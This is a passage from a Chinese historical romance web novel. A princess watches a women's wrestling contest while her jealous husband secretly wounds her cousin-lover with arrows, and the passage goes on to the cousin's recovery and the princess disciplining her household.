宜春默默掏出红色的纸张在伙计眼前一晃,霎时伙计脸上的笑容更盛,引路的态度更加恭敬了。 红票是贵宾票,单独在楼上有包间的。 宜春虽然只露出了一瞬间,但伙计迎来送往的眼神利着,瞧见了三号包间的标记。 便径直将山照一行人引到楼上,第三间包房。 又叫了茶水、点心一顿忙活,又恭敬问:“夫人可还需要些什么?小店还有特色菜品。” 伙计从怀中掏出一本册子,呈给山照看。山照好奇的翻了两页,见这些菜色不仅有个菜名还有一幅形象的小图,顿时笑了。 她递给宜春看了眼:“这店家可真会做生意。” “嗯,就上两三个招牌菜吧。”山照也看不出来哪个味道好,也不纠结。 “好嘞。夫人暂坐片刻。” 包间的视野极好,靠着舞台那侧的窗子很轻松的能够看到全场的情况。这会比赛还没开始,但已经有许多仆从在下面忙碌。 山照叫宜春宜秋两人也去找把凳子,待会跟她一起坐着看就是。 宜春、宜秋二人对视了一眼,有些迟疑,推拒了一次。但在山照的坚持下还是去寻了凳子,在山照身后的位置一左一右落了座。 没过多久,伙计就端着盛放着菜品的大餐盘上来。在一碟一碟放菜的同时开口:“夫人,这是小店招牌的龙井虾仁,清新可口。这是莲房鱼包,鲜嫩清甜。还有雪霞羹,美容养颜!” 说到最后几个字,伙计表情夸张的拍了拍自己的脸,直接逗笑了三人。 山照笑眯眯的示意宜春给赏钱。 伙计接了赏钱自然高兴,又开口:“再有一刻比赛就开始了。夫人若是想下注,只需要叫婢女在外场寻绿色腰带的人就是。不过下注只限前三场比赛结束之前,越早倍数越高,夫人可要看准了再下。” 这几样菜山照都是吃过的,她出府带了一个御厨还有一个孟家给的厨子,手艺都很好。她几乎没有想过要在外面的食肆吃饭,但这会菜品端上来,她又有了食欲,拿着筷子挟了一粒粉白虾仁放入口中。 茶香浓郁、虾肉软弹,是好吃的。但没有府内做的好吃。 山照默默放下筷子,她猛然察觉自己的衣食住行标准现在真的被拉得很高。她想不起自己是什么时候接受了这样食不厌精、脍不厌细的标准,想不起自己什么时候穿上崭新的华贵衣裙不再局促的坐立难安。 一年。 仅仅一年。 开场的锣鼓声热烈而激-情,直接把山照拉回了现实。 台上主讲声情并茂:“周氏杂技今日宾客盈门,我谨代表主家向各位客人致谢。主家吩咐,夏日酷热,为全场宾客送冰饮一份。” 仆从们立刻欢呼起来带气氛,一楼的宾客也有些没忍住发出些声音,但很快被身边人制止了。 山照虽不稀罕那份冰饮,但不得不被主家的处事打动。这一招,实在是太能博取好感了。 比赛还没开始,气氛就已经肉眼可见的火热起来。 “今日女子相扑赛,我们一共请到六位选手。赛程分三轮。第一轮两两比赛,胜者进入到第二轮,败者最受欢迎之人进二轮!哎~什么叫最受欢迎之人呢。” 主讲拖长了语调,狠狠吊足了众人的胃口,这才展示手里的票。 “第一轮结束,如果各位有想再见到的选手,请务必在入场票上写上选手的名字。红橙蓝绿四个票样,绿色为一票、蓝色为两票、橙色为三票,最顶级的红色贵宾票,一票值五票!” “当然,客人们若是没有喜欢的选手不投也是可以的。” “第二轮比赛还是抽签比赛。胜者进入第三轮,第三轮我们将决出最终的胜利者!” “各位客人可以在第一轮三场比赛结束前进行押注,压中的客人将按照赔率得到彩头,最高是赌注的五倍!” 台下涌起一阵掌声,场面热闹极了。 倒是二楼包间,都是静悄悄的,仿佛都空无一人。 但山照从这个视角看过去,是能看到几个包间中有人影的,只是隔着远,又没认真看,不知道面目。 “而胜利选手则会得到——” 主讲用最高昂的声音讲出:“恢复良籍!!!赏银百两!!!” 山照眼儿一睁,也是被这个奖励惊到了! 她怎么会不知道一旦进了奴籍想再出来有多难?宫女们虽然干的是伺-候人的活计,但严格意义上来说她们都是良民,没有生生世世、代代为奴的说法,到了年龄就能被放出去。 可若是卖身为奴,便是主家自愿放奴都还需要交一-大笔脱籍钱,家人越多,需要缴纳的银钱越多。 因此,便是主家心软愿意放归,也几乎是不愿意给这笔脱籍钱的。 这意味着,这六个健仆,是真的会为了脱奴籍性命相搏的。 在场之人都听懂了这个潜台词,这种生死之间的对决将比赛的看点拉拔到最高处,惊呼声鼓掌声说话声,杂乱无章,又共同谱出刺-激的氛围。 “接下来,开赛!” 迎着再度激烈起来的鼓声,六个穿着清凉的女飐一一登台。 山照身子前倾,聚精会神看着台上。 第37章 第 37 章 暗箭伤人 那六人既然能被选做女飐自然是有过人之处的, 里面有四人都是明显的膀大腰圆,那鼓胀的肌肉估计能让八成以上的男子看了都汗颜。眼睛炯炯有神,不是闺阁女子那种水灵灵的眼神, 而是闪着坚毅。 女飐们穿着很是奇异,上衣是极为贴身的短袖, 下身则是短到腿-根的犊鼻裈。 山照看了她们的打扮, 这才知, 为何只许女客入场了。 台上极为快速的完成了抽签, 不一会就有两人先站到了台上。 相扑赛台画着一个约七八尺大小的圆,主讲正在说明规则。 山照认真听了, 虽然有林林总总的数十条规则, 但最核心的意思就是两人互抵先出圈或者摔倒的人输。 台上还在介绍两位女飐的名号来历、有无战绩,并煽动客人下注。 山照却问婢女:“你们曾经看过这样的表演吗?” “自然是见过的,前朝有名的勾栏瓦舍里多有这样的表演。那时的后妃、公主也时常在暇时召见女飐表演呢。” 山照在宫里的时候虽然不常社交,但也不曾缺席什么大一点的活动, 因而肯定道:“但我在宫里从未听过这样的事情。” 二女解释:“陛下认为女飐装扮有些伤风败俗,便不许在宫中表演了。” 山照点点头,不纠结这事,专心看比赛去了。 第一场是高瘦的‘长臂奴’对矮胖的‘胖石墩’。 一高一矮,一胖一瘦,便是干站在台上,这种无言的对峙感,就已经给看客们无限联想了。 开赛的号令一吹响, ‘长臂奴’双手便向着‘胖石墩’裤角而去, 抓住裤角便是一个猛推。‘胖石墩’反应明显慢了一拍,连退了三两步,脚边直接到了白圈边缘, 眼见第一下就差点出局。 ‘长臂奴’趁势追击,双手推拉‘胖石墩’的同时,用一只脚去踢‘胖石墩’的膝盖。‘胖石墩’的身影摇了一摇,却艰难稳住了,甚至忍痛抬起正在被踢踹的那只腿挪了一步。 ‘长臂奴’一脚踩空,对着‘胖石墩’的方向倾倒。‘胖石墩’立刻抓住了机会立住双脚,又个猛扑直接倒向‘长臂奴’,‘长臂奴’立刻想避开,但身体不稳反应慢了一瞬,就被‘胖石墩’扑了正着,两人双双倒地。 ‘胖石墩’占了巧,刚好压-在‘长臂奴’身上,一点也没沾到地。 裁判见状立刻吹哨:“‘活石墩’胜!” 场内立刻迸发出欢呼声。而后是一片嘘声。想是已经有些小姐、夫人们见此时赔率高已经下了注。 山照起初听了台上主讲说的奖励,还觉得这比赛可能颇为血腥。但没想到的是,其实很有技巧和观赏性,并不是靠一味蛮干。 她简直一刻也不敢将眼睛移开,毕竟就这么十几息的功夫,胜负已分。 一场、两场、三场……山照看得津津有味,偶尔也忍不住惊呼出声,第一轮结束前,她也忍不住压了喜欢的‘妙娘子’五十两。 山照不知道的是,在她为女飐们的表现惊讶赞叹之时,一支暗箭直直的插-进了杨力行的腹部,差点要了他的命! ** 杨力行正在巡街,他们一队七个人要负责五个坊一个市的日常巡查,一般都是从早巡到晚,发现不轨之人就带回去审问,然后继续出来巡。 干了快半年,杨力行已经熟悉巡查的每条街、每个小巷,甚至能够熟练的跟小摊贩打招呼。 因他不似之前那些衙役,总是白吃白喝白拿,摊贩们也愿意给他些面子。 卖馄饨的刘阿伯热情招呼:“杨捕头,吃过早食了吗?” 杨力行爽朗一笑:“正巧巡了这半晌也饿了,刘阿伯,上七碗馄饨。” 众衙役便跟着杨力行坐下,坦然受了这顿请。 衙役们习惯了跟摊贩们赊账,赊着赊着便赖掉的事情也是常有的。摊贩们有苦难言,但为了几顿饭钱惹了这群披着官皮的混子更是不值得,经年累月的下来这白吃的习惯也成了老黄历。 便是改朝换代、翻天覆地,也没把这习惯改了。 杨力行知道他没那么大的面子让衙役们连这点好处也不要了,只能自掏腰包请他们。时间一久,摊贩们都是笑脸相迎,衙役们也不都是坏心肠,慢慢的,就算杨力行不在,其余几人也不提什么赊账赖账的事情了。 一碗馄饨二十个,薄得透光的皮里裹着粉白的猪肉,香气扑鼻。碗一放到桌子上,那股鲜香瞬间勾起了几人的馋虫。 杨力行正转身去端碗,神色轻松,却陡然听见‘嗖’的一声箭鸣响彻。 他回头一看,那箭直朝他而来,于是反射性的往左边人少的地方躲了一下。 却又有两发射来。 他慌张躲避,但小摊空间逼仄,他无处可躲。有一箭直朝他心口而来,他就用馄饨碗挡了一下,箭穿碗而过,已经卸了大半的力,只叫他破了点皮。 正在杨力行松口气、以为躲过一劫的时候,另一发却已经正中他的腰腹,箭头直接斜扎了出去。 衙役们端起碗正在吃,等注意到有情况想阻拦的时候,已经晚了。 “头,你怎么样!” 杨力行不敢动作,箭扎得极深,他伤口溢出鲜血洇出湿痕,隔着衣服难以分辨他伤势的程度。 几人七手八脚的把人抬回了衙门。 主簿正在当值,知道这件事后,连忙叫了两队人回来。一队去现场守着、了解情况,令一队分为两路,一路去找外伤医师,一路去承恩公府报告。 主簿红润的脸从见到抬进来的杨力行那刻起吓得脸色发白,这人可是承恩公府打招呼塞进来的,怎能出这种差错! ** 立余将从老猎人手里买来的弓箭扔进了天喜湖中,看着这方才伤人的‘凶器’消失在湖水中,这才跟孟浴恩往周氏杂技赶。 他第一次做这样的事情心里还是有些害怕,偷偷觑着少爷的眼色,但那张古井无波的脸上寻不到一丝紧张的蛛丝马迹。 他暗叹:这叫什么事儿呢?天底下哪个男人受得了妻子心里有旁人的。可这个妻子又是个打不得骂不得的角色,少爷也只能找这情-夫出出气了。 他脑中又浮现出泰和公主的样子,端庄贵气,一点也不像能做出这种事的人。可……哎……终究是主子们的事情。 孟浴恩自然是生气的,但又不止是生气。 他从来都没有相信过公主所言需要培养感情的话,他知道妇人若是在乎丈夫,是会时时刻刻挂念他的。 就如同母亲,虽然与父亲时常争吵,又常同妾室拈酸吃醋,但她记得父亲的所有喜好,事无巨细都要亲自准备,无疑是极为在乎父亲的。 可他成婚月余,没得到公主的一言一语、一纸一帕。 公主的确是不喜欢他。可他也拿出诚意商谈了。 她怎能一边若无其事的稳住自己,一边毫不顾及的私会情-人呢? 要不是远在炅阳的探子昨日传回了消息,他怎么会知道原来公主不止不喜欢他。她还将青梅竹马的未婚夫带回了上京,就在他的眼皮子底下,暗渡陈仓。 想到这里,孟浴恩气到发笑,笑自己竟以为公主同他可以日久生情,还同她玩真戏假做的游戏。 但现在这些都不重要了。 孟浴恩的情绪快速平复,他没有那么多精力花费在生气上面。 他没有想杀了杨力行,不过是做个局看看有多少人心知肚明罢了。 如果公主确实心有所属,他大不了就成全他们。 她以为,他就非她不可吗? 就算是公主,也不可能做了这样的事情还毫无代价的。 ** ‘妙娘子’不负山照的期待顺利赢了两场,进入了决赛。 她大约二十岁上下,生得不算漂亮,但一双眉毛又黑又密,十分醒目。 她妙就妙在以柔克刚。她身体特别的柔软,似乎练过舞技,每每被人抓住、捏住,都能恰到好处的逃脱,姿态还格外优雅,又很擅长利用对方的力量巧妙的淘汰对方。 山照极为欣赏‘妙娘子’身上那种从容不迫的气质,即便屡次要被力气更大的对手淘汰,她从来不慌张。最后反败为胜的时候,甚至让人觉得被抓,也在她计划之中。 她很相信‘妙娘子’会赢到最后。 可第三场还没开始,承恩公府的婢女找到了山照。 她们行过礼,立刻开口:“殿下,国公爷请您立刻去府上一聚!” 山照认得她们,是刚回上京的时候伺-候过自己的婢女。 “发生什么事了?” 婢女们低头,只重复着国公爷请殿下去府上一聚。 山照站在窗前,看着赛台,实在是很想知道最后的结果。但舅舅不是那种平白无故叫她去的性子,一定是有什么急事,她不能不去。 “宜春,你留下。替我看看‘妙娘子’最后赢了没有。宜秋,你去寻驸马,叫他回府。” 她走了两步,又想起一件事情:“宜春,若是‘妙娘子’没赢,你就替我找她的主人家,亮明身份叫她消了奴籍。” 宜春、宜秋应是,目送着殿下离开。 “殿下,似乎有些不一样了。”宜秋开口。 她说的是山照临别前的吩咐,话里话外的意思是真正的有些主子的威风了。 而且她没听错的话,公主是要为这‘妙娘子’出头了。讨好主子就能得到好处是下人们的共识,但这事放在泰和公主身上,实在是不常见。 宜春垂眸,理理自己的袖口:“殿下怎样都是殿下……” “办事去吧,别像那人似的,忘了本分。” 主子可以永远不像主子,但奴才却不能忘了自己是奴才。 第38章 第 38 章 他不能输 赵仪很生气。 他最近忙着追卢姑娘是有点忽略了公主府的事情, 主要是谁能想到有人会对杨力行做什么。 “现场查到什么了吗?” 李主簿躬身站着,生怕态度不够恭敬被承恩公记住。 “国公爷,臣第一时间叫一支小队查看了现场, 又问了还在场且目睹的百姓。都说是莫名其妙射-了几支箭来,看方向似乎是那头的几家酒楼。” “衙役们去问了酒楼老板, 却没排查出什么可疑人物。” 李主簿说着, 从袖口掏出两支断掉的箭矢, 递给赵仪:“国公爷请看, 这是现场寻到的凶器。是寻常的杨木,箭头上的铁很少, 而且看痕迹, 并不是新造的。” 赵仪心里窝火,懒得听他辩解。 “也就是一无所获了?” 李主簿只能低头认错:“臣无能。可现场痕迹极少,也无法从这箭矢上得到足够的信息。臣……实在是无从下手。” “下去吧。继续查。” 越是痕迹少,说明这凶手就是有备而来, 奔着杨力行来的。 只是他一贯不爱出去交际,又没有暴露过跟山照的关系,什么人会注意到他呢?他死了,又有什么作用? 凡事必定是对人有利才会有人去做,有人要杀杨力行,就是杨力行挡了谁的路。 赵仪只能怀疑孟家了。除了驸马家,实在想不到什么人会跟杨力行有仇,同时还有能力安排谋杀。 可是孟家会这样做事吗?孟丞相这个人, 哪怕诸臣都说他是墙头草, 靠逢迎媚上才发的家,赵仪却也不敢小看他。 但他平日里的作风确实是明哲保身,不太像是会干出这种事情的人。 赵仪想来想去也没想到什么, 只能等杨力行醒来,等山照赶过来,再问问一些细节了。 ** 山照赶到的时候,还没跟舅舅说上两句话,就听到了后间传来男子痛苦的哀嚎。 有着十多年的相处,山照熟悉杨力行就像熟悉她自己。她 不需要思考就马上听出是表哥的声音,她惊疑不定般看了舅舅一眼,就马上闯进后间里,赵仪拦都拦不住。 医师正在给杨力行伤口做处理,先是用酒擦拭伤口,又是从杨力行身后把露出的箭头部分剪断。 然后才是一鼓作气从杨力行的身体里,把插-入的箭身部分一把扯出来,鲜血瞬间从伤口溅射,而后汩汩涌出。 哀嚎声就是因为杨力行无法忍耐拔出的痛苦而本能的反应。 山照看到的就是医师和助手两三人身上带着溅射出来的血迹,正七手八脚的往表哥身上按纱布,鲜血从他肚腹流出,把床榻都染红了半边。 “表哥!” 山照先是惊诧后是心痛,她只觉得眼前发生的事情不像现实。 她想扑上前,但又看见医师正在手忙脚乱的救治,知道自己现在不能上去添乱。 “舅舅,这是怎么回事?表哥怎么会受伤?还这么重?你到底让表哥去做了什么?”一连串带着怒气的发问从山照嘴里吐-出。 赵仪觉得自己也挺无辜的,他什么也不知道啊。可是山照这么生气,他只能先安抚她。 “别担心,医师说没有射到要害,只要这几日没有高热不退,等伤口结痂也就没事了。” 而后轻咳了一声,看了看周围:“这里不方便说话,我们出去说。” 赵仪于是将李主簿说的一切又原封不动的转述给了山照。 山照坐着,脸色青红交加,心里急得冒火又知道自己现在只能等待。 赵仪觑着她的脸色,又有点不敢将自己的猜想说出口。说到底也只是猜想,只有动机没有证据,万一错怪了别人,不是无端离间他们感情吗? 她起身又往后间走:“舅舅你帮我再想想吧,我现在只能先等表哥醒过来。” 山照不看见表哥就心慌,她进了后间,并不理会一波又一波给他端茶倒水送食的婢女,只专心看着医师们救治杨力行。 还好的是,差不多一刻钟,杨力行的血终于止住了,没有再源源不断的往外渗出鲜红。 这会染血的纱布一卷又一卷,已经堆了个人高。 山照是眼睁睁看着表哥的脸色从红润到现在的虚弱,他的脸青灰一片,嘴唇一点血色也无。 医师说这是失血过多,只能日后好好补血养起来。这几日他们会一直在府内观察情况,山照才稍微安心一点。 杨力行闭着眼躺在床上,山照看着那染血的床榻十分碍眼,想换掉一床,可医师说现在他的伤口刚刚不渗血了,不能移动,她便只能忍耐。 只是那片鲜红,实在是刺眼了。 刺得她心好痛。 又好恨。 到底是谁会伤害表哥呢?山照想不出来。 她陷入自责中,她想到今日自己还在高兴的观看相扑的时候,表哥发生了这种事情,就后悔自己让表哥出府的决定。 其实,就算表哥没有那么有能力,她也不会嫌弃的。她本来也只是想要表哥高兴一些,如今又失了他的陪伴,又顾及不到他的安全,真是失算。 若是他一直呆在自己身边,就一定不会受到这样的伤害了吧? 山照抽了一下鼻子,不想哭,但没忍住。 赵仪看见她默默垂泪的样子,也只是心里暗叹,走开了,没有进去打扰。 山照看着床上躺着的表哥,不知怎么,忽然想起了养母杨氏。 其实表哥跟娘相貌和性格上没一点相似的地方,但不妨碍他们都是山照重要的人。 她印象特别深,娘生弟弟的时候,稳婆一盆又一盆的从屋内端出血色的热水。血腥味异常冲鼻,让她胃里冒酸水。 小小的她,不知道娘发生了什么,以为她受了很严重的伤,想冲进去屋看看娘。 但爹的脸上一点忧伤也没有,拉住了她,反而是很高兴的告诉山照:“你要有弟弟了!” 山照更忧虑了:“爹,她们是要把弟弟从娘肚子里面拿出来吗?那得多大一个口子?” 她以为弟弟跟她差不多大,到杨氏的膝盖上。 她这番无知言语逗笑了李父:“哪里至于开膛破肚了?没事的,你娘快出来了,别怕。” 他说不怕,但山照怕了一天,直到弟弟出生。 山照回想起那天还是觉得难受,这种难受并不因为弟弟出生而减淡,不因杨氏最后没事而消散。 只是她忘了,她以为自己忘得干干净净,可现在想起来一切却还历历在目。 泪水一滴滴打湿衣襟,山照无法想象,流了比娘生孩子那天还多的血的表哥,会是怎么痛苦。 若是表哥醒来,她就再也不要跟他分开,哪怕承担骂名又如何呢?流言蜚语杀不死她! ** 孟浴恩射出那几箭,以为自己会舒服许多,但并没有。 他没有表现出来,仿佛一切如常般回了公主府。 只是问了宜秋山照的去向,得到了个承恩公府的回答便没有继续追问,保持了他一贯的克制口吻。 可骗天骗地骗不了自己,孟浴恩躺在床上,久久不能入眠。 他昨夜便没有睡好,本该十分困,本该早些入睡,可他一闭上眼,满脑子都是公主。 想起她嘴角的笑,想起她黑亮的眼睛,想起她耍赖时的理直气壮……想起她意识不清的时候,衔着他红梅的神态。 多么可恨啊,这个女子,分明嫁给了他。 却不贞。 却不贞! 他不知道他们有没有发生过什么,但他问过的那个问题,为何公主会养成那样的怪癖,似乎已经有了答案。 没人惯着,怎么会养成坏习惯呢? 他翻了个身,却还是不能理解。哪怕他们是未婚夫妻,可也毕竟没有成婚,怎么会发生这样的事情?没人管他们吗? 孟浴恩心头又悄然升腾起怒火,他捏紧了拳头,但理智一直跳跃着阻止他。 不要再想了,这样的女子不值得。 孟浴恩一遍一遍的挥散脑海中浮现的身影,仿佛不愿服输的战士,做着顽强的斗争。 他不能输给这样不堪的事情,他不允许自己为了这样的事情辗转反侧。 他要云淡风轻、他要一切如常,明日醒来,他还是他自己。 最后他还是成功睡着了。 只是日有所思、夜有所梦,他在梦中回到了那个尴尬又旖旎的夜晚。 一双嫩白玉臂挂在他脖颈处,他能闻到她身上幽幽的香味,像兰香。她的肌肤像暖玉,又柔又滑,当她手臂在他胸-前摩挲的时候,他觉得自己浑身发软、大脑发昏。 陷入了一种未知的状态,既平和又激越,不知道在平和什么,也不知道激越什么。 但他是快活的。 不然不能强忍着胸口的麻木,看着她像个贪吃婴孩,吮着他不放。 只是和那日不同的是,她忽然抬起了头,她的面孔飘荡又模糊,他看不清楚。但却受到了神秘的召唤,低头,深深吻住了她。 粘腻、温热、麻痒,他越来越深,深到想和她融为一体,像两只蜡烛燃尽前融化成一处。 你中有我,我中有你—— 孟浴恩猛然惊醒,天光既明。 不可以! 他绝不能! 不能输! 第39章 第 39 章 要个孩子 杨力行半日后果然发起高热, 所幸在医师们的诊治下,很快就控制住了。 山照一连在承恩公府待了五天,赵仪都忍不住劝她回府了。 “不过一个臭小子, 哪里值得你这么担心?你自回府去,人好了我给你送来就行。” 他眼见着侄女这几日食不下咽的, 整个人都瘦了一圈, 也是有点心疼上了。 山照握着杨力行的手, 他的手恢复了往常的热度, 她这样摸着才觉得安心一点。 “舅舅,要不我把表哥带回府里吧。他需要静养一段时间。” 山照也觉得一直在舅舅府里也不是事儿, 况且, 她扯出一抹笑容:“别耽误了舅舅的正事。” 她虽然是在照顾表哥,但实际没做什么事情,只是陪伴。 宜春宜夏几个知道她要呆几天后,赶到了承恩公府来伺-候, 怕她无聊,找了许多八卦与她说。 其中就包括舅舅要定亲的消息。 赵仪还是阻止:“你那里毕竟还有驸马,不如我这里便利。” 山照想过这事,她觉得之前驸马跟她说的话,也许是真的。他会找人了解她的过往。 她不知道这事是不是驸马做的,就当他没有吧。 可他总归会知道的。 就算瞒驸马十年又如何,她跟表哥能就这样偷偷摸-摸十年吗? 山照是被这次的事情吓到了,她觉得表哥的性命荣辱比她的所谓自尊心要重要多了。就算这事做的让父皇看不上眼, 那她努力下次做好一点就行了。 “我尽量瞒着吧。可是终究有瞒不住的那天, 舅舅,到时候你要帮我。” 赵仪欲言又止,还是妥协了。 “你, 早点和他要个孩子吧。”他看向山照的腹部:“我也说不准陛下有一天会不会变卦,到那时,孩子是……保命符。” 赵仪只能接受侄女要死要活的就是喜欢这个小子的现实,她显然是没有把孟家那小子看进眼里,那除此之外还能被看进眼的人就几乎没有了。 他心里有些隐秘的担忧,自古以来慧极必伤、情深不寿,他只愿侄女得偿所愿。 “有时间的时候进宫去看看陛下。” 舅舅没再说什么,山照却懂了。 “我会的。” ** “丑时二刻,人已转至府中。” 只有寸长的密信,寥寥几语,孟浴恩一扫眼就看完了。 他沉思了片刻,拿起茶水将信浇湿,黑色字迹很快晕成一团乌迹,而后孟浴恩将它扔进了废纸篓中。 他知道,既然人是去了承恩公府那么承恩公肯定知道。既然承恩公同意将人送到公主府,那便是陛下也默许了。 他们这样做事,除了是陛下给的底气,也不做他想了。 这件事,他不能告诉父亲。因为父亲一定会告诉他大局为重,要求他去讨好公主。在父亲眼里,孟家的存活是最要紧的事情,旁的都要让步。 但他也不打算任性,不能将脸面撕破。 可就叫他这么忍下来…… 孟浴恩轻哼一声,他可没有那么好的脾气。 这委屈他必定是要受的,谁叫泰和公主比他想象中还受宠。胳膊拧不过大-腿,他现在就是那胳膊,虽然有些力气,但拧不过。 可受委屈也要受得有价值才是。他要借着此事,谋求一桩大大的好事,才算够本。 至于那些绮丽的念想,人欲而已,他不在乎。 立余进来奉茶。 孟浴恩眼皮都没抬,吩咐道:“将篓中的废纸处理了吧。” “啊?”少年连忙跑去纸篓处看,见果然是满满当当的,嘴角就向下撇了撇,不太开心。 但他知道驸马最近心情不好,平时还敢抱怨两句,现在是一句不敢说,生怕火烧到自己身上。 等到出了门,才用只有自己能听清的声音念叨:“心不静就不要练字嘛,白浪费笔墨了……哎哟,天天扔两筐,累死了。” ** 山照回家第一件事情,是安置好表哥。她直接将表哥安置在自己院子里,跟自己的卧室只有一墙之隔。 从此,起居坐卧,他们都在一处了。 第二件事,就是叫来府中所有的婢女们。 山照坐着,面前放着一盘码放得整整齐齐的十两银锭子。 她随手拿起一锭,而后看着婢女们,眼里是让众女很是陌生的冷淡。 “我知道,我之前做错了一些事情。” 山照虽然说着认错的话,但她的表情和肢体不是那么说的。 婢女们感受到不同以往的气氛,只静默无声的低头站着。 “我错在,没有跟你们说过我的规矩,让你们里面的有些人,有了别的想法。”山照抬眸看向最末尾的的熟悉身影,那个让她心软又让她心痛的身影——灵曲。 “我以为宫里出来的人,规矩都是最好的。是我误会了。” 山照做了很长时间的心理建设,她以为自己会紧张会磕巴,但此刻,她发现没什么大不了的。 她划清界限、界定规则,然后遵从的得到好处,叛逆的受到惩罚,主人和婢女就应该是这么简单的关系。 “灵曲,你出来。” 灵曲浑身一颤,她走了出来。 身子清瘦,面容苍白,浑身上下都是掩饰不住的疲惫。 这幅模样让山照陌生,她心里涌出难过,就这么看着灵曲走到自己面前跪下。 山照知道自己有这样一个毛病,她总是容易依恋陪伴在自己身边的人,在他们身上付出太多的情感。 付出过,就难以割舍,就心软,就包容,就一错再错。 “我要罚你,你认不认。” 灵曲知道该来的始终要来的,她眼中泪光涟涟,哽咽着回道:“奴认,是奴错了。” 山照偏了偏头,不去看她:“念在你与本宫有陪伴之情的份上,只将你降为粗使,专司府中洒扫。” “灵曲,你上有父母下有弟妹。从今往后,做事需考虑周全,再没有犯错的机会了。” 山照还是做不到让人去欺凌她,而她知道太多自己的事情,放出去也难免担心。就这样吧,放在眼皮子底下,做一辈子的粗活,对她这样立志成为大宫女的人来说已经是极大的惩罚了。 灵曲嘴唇抖动,却说不出辩解求情的话语,只能接受了这样的命运。 磕头。 “奴,认罚。” 山照忍住心里涌出的不舒服,强撑着叫人就将银子发了下去。 “公主府的规矩很简单,一切以我说的为准。从今以后,我不想再看见阳奉阴违的人。” “但,你们若是干得好。有什么难处都可以跟我说,我不会亏待你们。” “自搬进府里,你们都做的很好。衣食住行,无处不妥帖,这十两银子是给你们的嘉奖。” “做的好,有赏。做的不好,有罚。”山照环顾了一圈婢女们,语气带着警告:“我想,应该没有人想受罚吧?” 山照知道十两银子虽然不算少,但也不足以让这些见惯了好东西的宫女动容,她只是用实际行动表达自己的态度罢了。 话都说到这份上,若是还有人心浮动,山照也只能闭着眼处理人了。 ** 山照训诫完,转身就进了表哥的房间。 杨力行的伤口已经结了血痂,虽然还不能起身,但已经没有什么大碍了。 他直起上身半躺在床上,手里拿着一本书在看。 “表哥在看什么?” 杨力行将书的封面翻过来指给她看:“这是《李卫公问对》。” 山照坐到床边,握住他的手。 “讲的是什么啊?” 杨力行笑笑:“是兵书。里面是唐太宗和李靖一些关于兵法的讨论。” 山照‘哦’了一声,并不很感兴趣,兼之心绪不佳,就没再说话。 “怎么不高兴呢?” 山照感受到自己握着的手,反过来包裹住了自己的手,那双手很大很坚定。 山照顿时有了倾诉的欲-望,就像告状的小孩一样,一股脑将自己和灵曲的事情说了出来,越说越生气。 “表哥,她为什么要做这些事情呢?明明没有得到好处。” 杨力行也搞不懂这些。 他只是擦去山照的眼泪,用同过去十几年一样的语气说:“不哭了。都是他们不好。” “不要为了不好的人难过。” 山照点点头,擦去最后一点泪,感觉自己闷在心里的难过也散了。 就这样吧。 “表哥,以后你就在公主府陪我吧,我们再也不分开了。” 山照靠进他的怀里,想起了舅舅的话,而后有些羞涩般低声道:“再有一个孩子。” 孩子? 杨力行看向山照。 “表哥,以后……不用喝药了。” 山照拉着杨力行的手摸了摸她的小腹:“很快,我们就会有孩子的。” 虽然她还是有些害怕,但跟表哥在一起的渴望战胜了那种恐惧。 杨力行被山照的话语带入那种幻想中,他仿佛看到一个跟山照一模一样的小女孩甜甜的叫自己爹爹,面孔忍不住柔和下来:“好。” 他万分柔情看着山照。 鼻尖相触,唇舌相接。 山照沉溺在这种温柔到有些温情的接触中,手抚上他的胸口,感受他强健有力的心跳。 “咚…咚…咚” 她抱紧他,更紧,更紧。 只想岁岁年年,皆如今日此刻—— 作者有话说:本周日更(赶榜)[狗头叼玫瑰] 第40章 第 40 章 一醋再醋 公主府的账房管事周林第一次在非月初盘账的时候受到公主召见, 有些不知所以,但还是快速整理了下衣冠,确定自己没有什么不得体的地方就跟着侍女一起出了门。 他小心观察着这位年轻的侍女, 相貌是有些平平的,但举止气度称得上一句贞静。 “宜琴姑娘, 敢问公主召见所谓何事?” 周管事四十来岁, 是个极为老练的账房先生, 并不怕公主心血来潮想查账, 但伺-候贵人不只是把本职干好就行了,他是害怕有些别的缘由。 “周管事, 殿下不过是有些账上的事情想问问。”至于具体是什么事, 她不知道,知道了也不会轻易透露。 周管事便在脑中快速过了一遍近期的收入支出,等到了院里的时候,已经理得七七八八, 便不太紧张了。 山照是忽然想起之前她资助学子的事情,想问问花了多少钱,顺便再点点账。 她现在对银钱不太敏感,花钱都是支账,反而不知道自己到底有多少钱了。 山照见他比爹娘的年纪都大些,起了些尊老之心,便道:“周管事,坐着回话吧。” 宜夏做了个手势请他上座, 周管事环顾了下众人的表情, 便笑着答应下来,眼角的褶子挤到一处,像两处蒲扇:“小的谢殿下赐座。” “周管事, 不知这些日子,书院学子支出了多少银钱呢?” “这……学子的资助并未从府中账上走。”周管事迟疑答道,有些困惑公主为何不知这事。 山照抬眼,看他表情不像是说笑的样子。 “那这事到底是做了还是没做?” “做是做了。只是这账……”周管事这下知道问题出在哪个地方了。 合着驸马自掏腰包这事,并未告知过公主。 “这账是驸马支的,并未动用府里的银钱。” 那张美人脸上瞬间浮现出疑惑,语气里已经带了些不解:“驸马为何要用自己的银钱?” 这话叫周管事怎么接呢,他怎么知道。 于是只是摇摇头:“小的也不知道啊。” 他想:没准驸马是想跟公主献个殷勤,结果贵人多忘事,自己也不记得还有这样的事儿了。 山照便又问了一些别的问题,知道现在整个府里运转正常,账上还有大笔银钱之后,便叫周管事回去继续做事了。 她只是想不明白,她觉得驸马不是这样的人。 可要说孟浴恩是个怎样的人,山照回想起这些日子的接触,却只有个模糊印象,她并不怎么关注驸马。 他颇有才学,又见识广博,性子虽有些傲气,却并不对着她使。 除此之外,便也只有那张精雕玉琢的脸了。 可若说别的,她就一概不知了。她连驸马的官职都不太清楚,更不关注他每日做了些什么。 ** 杨力行养病期间是有些无聊的,毕竟对一个每日要习练武艺的人来说,躺在床上真的不算是什么休息。 还好山照几乎是一直陪伴他,这让他心里好受许多,除了—— 宜春来请山照:“殿下,驸马来了。” 正是午膳时分,山照按例要跟孟浴恩一起吃的。 杨力行一反常态,叫住了山照。 “表妹……” 山照回头。 杨力行抓住了山照的袖摆:“不要每日陪他吃饭好不好?” 他很不喜欢孟浴恩,他有太多他没有的东西,包括他梦寐以求的名分。 这几日他瞧着,这一对,竟也是有些相配的。 “我还当表哥不吃醋呢?好酸的味儿……”山照装怪,做出一个用手扇空气的动作。 而后巧笑盼兮的安抚他:“很快就不需要跟他吃饭了,他的婚假要到期了,没那么多时间在府里。” 